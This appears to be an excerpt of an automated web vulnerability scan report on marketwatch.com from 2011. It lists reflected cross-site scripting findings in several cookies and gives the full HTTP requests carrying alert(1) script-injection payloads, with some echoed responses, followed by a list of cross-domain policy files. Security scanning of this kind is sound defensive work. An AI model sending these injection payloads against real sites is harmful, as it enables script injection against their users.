Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&3983e'-alert(1)-'1a648a25759; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

4.120. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [BIZO cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of the BIZO cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1fbb"><script>alert(1)</script>a3254d0924a was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&b1fbb"><script>alert(1)</script>a3254d0924a; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

4.121. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_csl cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of the rsi_csl cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57f72"><script>alert(1)</script>b7608fae4f2 was submitted in the rsi_csl cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA57f72"><script>alert(1)</script>b7608fae4f2; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

4.122. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_csl cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of the rsi_csl cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7fa5c'%3balert(1)//b8b069676ae was submitted in the rsi_csl cookie. This input was echoed as 7fa5c';alert(1)//b8b069676ae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA7fa5c'%3balert(1)//b8b069676ae; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

4.123. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_segs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of the rsi_segs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25c27'%3balert(1)//18ee691e600 was submitted in the rsi_segs cookie. This input was echoed as 25c27';alert(1)//18ee691e600 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_1000125c27'%3balert(1)//18ee691e600; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

4.124. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [rsi_segs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of the rsi_segs cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3cf4"><script>alert(1)</script>63a046bb41f was submitted in the rsi_segs cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001e3cf4"><script>alert(1)</script>63a046bb41f; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

4.125. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [BIZO cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of the BIZO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d14da'-alert(1)-'8a421fad72c was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&d14da'-alert(1)-'8a421fad72c; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=3sorlpbmz5ymegix1uuvi3oy; path=/; HttpOnly
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp05
Date: Sat, 14 May 2011 10:30:07 GMT
Content-Length: 133444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
ient(
           ScrillaZilla.Client('#ad_BrokerButton1',
               {
                   ord : 1944859510,
                   src : 'http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=1;u=%5e%5e;biz=1053;d14da'-alert(1)-'8a421fad72c;sz=288x40;tile=10;ord=',
                   width : '288',
                   height : '40',

                   lateLoad : true,
                   refresh : false,
                   independentRefresh : false,
                   refreshRate : 480000,
                   refreshDomai
...[SNIP]...

4.126. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [BIZO cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of the BIZO cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9af53"><script>alert(1)</script>ccd649a01b1 was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&9af53"><script>alert(1)</script>ccd649a01b1; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

4.127. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_csl cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of the rsi_csl cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbfdc"><script>alert(1)</script>c5f9d671599 was submitted in the rsi_csl cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=fbfdc"><script>alert(1)</script>c5f9d671599; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

4.128. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_csl cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of the rsi_csl cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 31eba'%3balert(1)//cf61b215d3a was submitted in the rsi_csl cookie. This input was echoed as 31eba';alert(1)//cf61b215d3a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=31eba'%3balert(1)//cf61b215d3a; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=45wfdfcibrpzdeaofjsmmp3e; path=/; HttpOnly
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-MACHINE: sbkdfpswebp01
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:28:46 GMT
Content-Length: 133483

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
cort.addClient(
           ScrillaZilla.Client('#ad_BrokerButton1',
               {
                   ord : 1627379692,
                   src : 'http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=1;u=%5e%5e31eba';alert(1)//cf61b215d3a;biz=1053;sz=288x40;tile=10;ord=',
                   width : '288',
                   height : '40',

                   lateLoad : true,
                   refresh : false,
                   independentRefresh : false,
                   refreshRate : 480000,
                   ref
...[SNIP]...

4.129. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_segs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of the rsi_segs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e18be'%3balert(1)//63ea0bc7bdd was submitted in the rsi_segs cookie. This input was echoed as e18be';alert(1)//63ea0bc7bdd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001e18be'%3balert(1)//63ea0bc7bdd; _chartbeat2=g73giwkwwxj3e1nb; ASP.NET_SessionId=rlczdeltlowzmo0hyz2n0e1s; __g_c=w%3A1%7Cb%3A9%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0

Response

4.130. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 [rsi_segs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The value of the rsi_segs cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ead9"><script>alert(1)</script>8e6a03b6f4 was submitted in the rsi_segs cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_100019ead9"><script>alert(1)</script>8e6a03b6f4; _chartbeat2=g73giwkwwxj3e1nb; ASP.NET_SessionId=rlczdeltlowzmo0hyz2n0e1s; __g_c=w%3A1%7Cb%3A9%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0

Response

5. Flash cross-domain policy previous next
There are 60 instances of this issue:

http://0d7292.r.axf8.net/crossdomain.xml
http://72d329.r.axf8.net/crossdomain.xml
http://ad.doubleclick.net/crossdomain.xml
http://altfarm.mediaplex.com/crossdomain.xml
http://amch.questionmarket.com/crossdomain.xml
http://api.dimestore.com/crossdomain.xml
http://b.scorecardresearch.com/crossdomain.xml
http://bh.contextweb.com/crossdomain.xml
http://bp.specificclick.net/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://cache-01.cleanprint.net/crossdomain.xml
http://cdn.eyewonder.com/crossdomain.xml
http://dowjones.tt.omtrdc.net/crossdomain.xml
http://ds.serving-sys.com/crossdomain.xml
http://fls.doubleclick.net/crossdomain.xml
http://ib.adnxs.com/crossdomain.xml
http://img.mediaplex.com/crossdomain.xml
http://js.revsci.net/crossdomain.xml
http://log30.doubleverify.com/crossdomain.xml
http://metrics.apple.com/crossdomain.xml
http://mp.apmebf.com/crossdomain.xml
http://om.dowjoneson.com/crossdomain.xml
http://pix04.revsci.net/crossdomain.xml
http://pixel.quantserve.com/crossdomain.xml
http://puma.vizu.com/crossdomain.xml
http://search.twitter.com/crossdomain.xml
http://secure-us.imrworldwide.com/crossdomain.xml
http://static.2mdn.net/crossdomain.xml
http://t.mookie1.com/crossdomain.xml
http://ad.wsod.com/crossdomain.xml
http://allthingsd.com/crossdomain.xml
http://disqus.com/crossdomain.xml
http://edge.sharethis.com/crossdomain.xml
http://googleads.g.doubleclick.net/crossdomain.xml
http://i1.marketwatch.com/crossdomain.xml
http://i3.marketwatch.com/crossdomain.xml
http://i4.marketwatch.com/crossdomain.xml
http://images.apple.com/crossdomain.xml
http://images.scanalert.com/crossdomain.xml
http://itunes.apple.com/crossdomain.xml
http://kara.allthingsd.com/crossdomain.xml
http://online.barrons.com/crossdomain.xml
http://online.wsj.com/crossdomain.xml
http://p.opt.fimserve.com/crossdomain.xml
http://pubads.g.doubleclick.net/crossdomain.xml
http://r.mzstatic.com/crossdomain.xml
http://s.marketwatch.com/crossdomain.xml
http://server.iad.liveperson.net/crossdomain.xml
http://static.ak.fbcdn.net/crossdomain.xml
http://topics.barrons.com/crossdomain.xml
http://topics.wsj.com/crossdomain.xml
http://www.facebook.com/crossdomain.xml
http://www.marketwatch.com/crossdomain.xml
http://www.mcafeesecure.com/crossdomain.xml
https://www.mcafeesecure.com/crossdomain.xml
http://www.smartmoney.com/crossdomain.xml
http://api.twitter.com/crossdomain.xml
http://bit.ly/crossdomain.xml
http://stats.wordpress.com/crossdomain.xml
http://twitter.com/crossdomain.xml

Issue background

